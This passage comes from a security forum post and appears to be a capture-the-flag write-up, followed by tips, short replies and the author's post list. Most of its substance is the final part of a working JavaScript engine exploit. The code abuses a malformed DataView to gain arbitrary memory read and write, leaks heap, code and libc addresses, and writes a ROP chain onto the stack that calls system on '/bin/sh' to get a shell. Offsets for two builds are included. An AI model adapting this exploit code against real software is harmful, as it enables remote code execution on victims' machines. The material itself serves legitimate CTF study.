TestPrimitive"); let orig = read64(heap_global_addr); logg("orig: ", orig); write64(heap_global_addr, 0x4444444444444444n); let new_val = read64(heap_global_addr); logg("new_val: ", new_val); print("[*] TestPrimitive completed"); } function MakeRef(){ return [vic_dv_array]; } function InitExploit(version){ print("[*] InitExploit"); if (version == 1) { // 题目下发版本 return [ 0x78n, // handler_offset 0x5648fn, // code_offset 0x70de0n, // got_offset 0x86710n, // libc_offset 0x20ad58n, 0x58750n, ]; } else { // 自己编译版本 return [ 0x158n, // handler_offset 0xd0815n, // code_offset 0x11add0n, // got_offset 0x606f0n, // libc_offset 0x3f3000n, 0n, ]; } } gc(); let InitSign = 0x1111111111111111n; let MagicSign = 0x4141414142424242n; let confuse_length = 0xffffffff; let target_idx = 0x130; let ab_array = []; for(let i=0; i<10; i++) ab_array.push(new ArrayBuffer(0x20)); let ab = ab_array[9]; let dv = new DataView(ab, NaN, confuse_length); dv.setFloat64(0, u64_to_f64(InitSign), true); let vic_dv_array = [] vic_dv_array = inin_dv(vic_dv_array ,100 ,0x1000); target_idx = find_victim_ab_idx(dv, [0x940000200c0012n,0x100000000319n]); // describe(dv); // describe(vic_dv_array[99]); let ptr_lo = dv.getUint32(target_idx * 8, true); let ptr_hi = dv.getUint32(target_idx * 8 + 4, true); let heap_global_addr = (BigInt(ptr_hi) << 32n) | BigInt(ptr_lo); heap_global_addr = heap_global_addr - 0x11058n; heap_global_addr = heap_global_addr & ~ 0xfffn; // // 题目下发版本的偏移 heap_global_addr = heap_global_addr + 0x280n; // heap_global_addr = heap_global_addr - 0x9000n + 0x280n; logg("heap_global_addr: ", heap_global_addr); let corrupt_idx = find_corrupt_dv(dv, vic_dv_array); let keep_alive = MakeRef(); let version = 1; // 0: 自己编译版本, 1: 题目下发版本 let [handler_offset,code_offset, got_offset, libc_offset, environ_offset,system_offset] = InitExploit(version); let code_base = read64(heap_global_addr+handler_offset)-code_offset; let got_func = code_base + got_offset; let libc_base = read64(got_func)-libc_offset; let system = libc_base + system_offset; let environ_addr = libc_base + environ_offset; let stack = read64(environ_addr)-0x138n; let ret = code_base + 0x0002552en; let pop_rdi_ret = code_base + 0x00059279n; let pop_rsi_ret = code_base + 0x000595d6n; let pop_rdx_ret = code_base + 0x00056f1dn; let binsh = libc_base + 0x1cb42fn; logg("pop_rdi_ret: ", pop_rdi_ret); logg("pop_rsi_ret: ", pop_rsi_ret); logg("pop_rdx_ret: ", pop_rdx_ret); logg("binsh: ", binsh); logg("system: ", system); logg("code_base: ", code_base); logg("got_func: ", got_func); logg("libc_base: ", libc_base); logg("environ_addr: ", environ_addr); logg("stack: ", stack); write64(stack, ret); write64(stack+8n, pop_rdi_ret); write64(stack+16n, binsh); write64(stack+24n, pop_rsi_ret); write64(stack+32n, 0n); write64(stack+40n, pop_rdx_ret); write64(stack+48n, 0n); write64(stack+56n, system); write64(stack+64n, 0n); // TestPrimitive(); // spin(); ``` 本地测试时堆地址会在这两个之前变化,一个没打通试另外一个就可以了  成功则会有如下显示 
登录后可查看完整内容
冰与火的战歌:Windows内核攻防实战高级班!从零到实战,融合AI与Windows内核攻防全技术栈,打造具备自动化能力的内核开发高手。
最后于
2025-12-3 21:55 被flyyyy编辑 ,原因:
#漏洞机制
#溢出
#题解集锦
上传的附件:
pwn2.zip
(1.73MB,4次下载)
收藏
・
1
点赞
・
7
打赏
分享
分享到微信
分享到QQ
分享到微博
赞赏记录
参与人
雪币
留言
时间
wx_晨梦
感谢你的积极参与,期待更多精彩内容!
2026-7-16 07:35
mb_byqgltsb
你的分享对大家帮助很大,非常感谢!
2026-2-25 16:50
mb_lunshtoc
你的分享对大家帮助很大,非常感谢!
2026-2-14 10:38
mb_qeglbaxf
你的分享对大家帮助很大,非常感谢!
2025-12-13 11:20
ZIKH26
+1
你的分享对大家帮助很大,非常感谢!
2025-12-10 16:58
Qanux
期待更多优质内容的分享,论坛有你更精彩!
2025-12-4 14:12
winmt
+10
你的分享对大家帮助很大,非常感谢!
2025-12-4 00:06
查看更多
赞赏
×
1 雪花
5 雪花
10 雪花
20 雪花
50 雪花
80 雪花
100 雪花
150 雪花
200 雪花
支付方式:
微信支付
赞赏留言:
快捷留言
感谢分享~
精品文章~
原创内容~
精彩转帖~
助人为乐~
感谢分享~
最新回复
(
3
)
mb_qeglbaxf
雪 币:
0
能力值:
( LV1,RANK:0 )
在线值:
发帖
2
回帖
3
粉丝
1
关注
私信
mb_qeglbaxf
2
楼
这篇教程详细讲解了使用Frida对iOS应用进行逆向分析的过程,涵盖了从侦查到漏洞利用的完整流程,适合学习iOS安全和逆向分析技术。????
2025-12-13 11:07
0
mb_qeglbaxf
雪 币:
0
能力值:
( LV1,RANK:0 )
在线值:
发帖
2
回帖
3
粉丝
1
关注
私信
mb_qeglbaxf
3
楼
这篇教程详细讲解了使用Frida对iOS应用进行逆向分析的过程,涵盖了从侦查到漏洞利用的完整流程,适合学习iOS安全和逆向分析技术。????
2025-12-13 11:15
0
mb_lunshtoc
雪 币:
0
活跃值:
(25)
能力值:
(RANK:0 )
在线值:
发帖
4
回帖
6
粉丝
0
关注
私信
mb_lunshtoc
4
楼
学习到了 支持
2026-2-14 11:08
0
游客
登录
|
注册
方可回帖
回帖
表情
雪币赚取及消费
高级回复
返回
flyyyy
6
8
发帖
9
回帖
260
RANK
关注
私信
他的文章
[原创] 强网杯S9 Real World - monotint
17413
[原创] 第八届“强网”拟态防御国际精英挑战赛 - Cherry
16948
[原创] RCTF 2025 - no_check_WASM
13119
[原创] 第八届“强网”拟态防御国际精英挑战赛 - WIN!致敬mt 复现
12745
[原创] CVE-2023-4069:Maglev图建立阶段的一个漏洞
4404
关于我们
联系我们
企业服务
看雪公众号
专注于PC、移动、智能设备安全研究及逆向工程的开发者社区
谁下载
×
huangyalei
npc0vo
mb_kujsrqqv
mb_lthgjpwj
看原图
赞赏
×
雪币:
+
留言:
快捷留言
为你点赞!
返回
顶部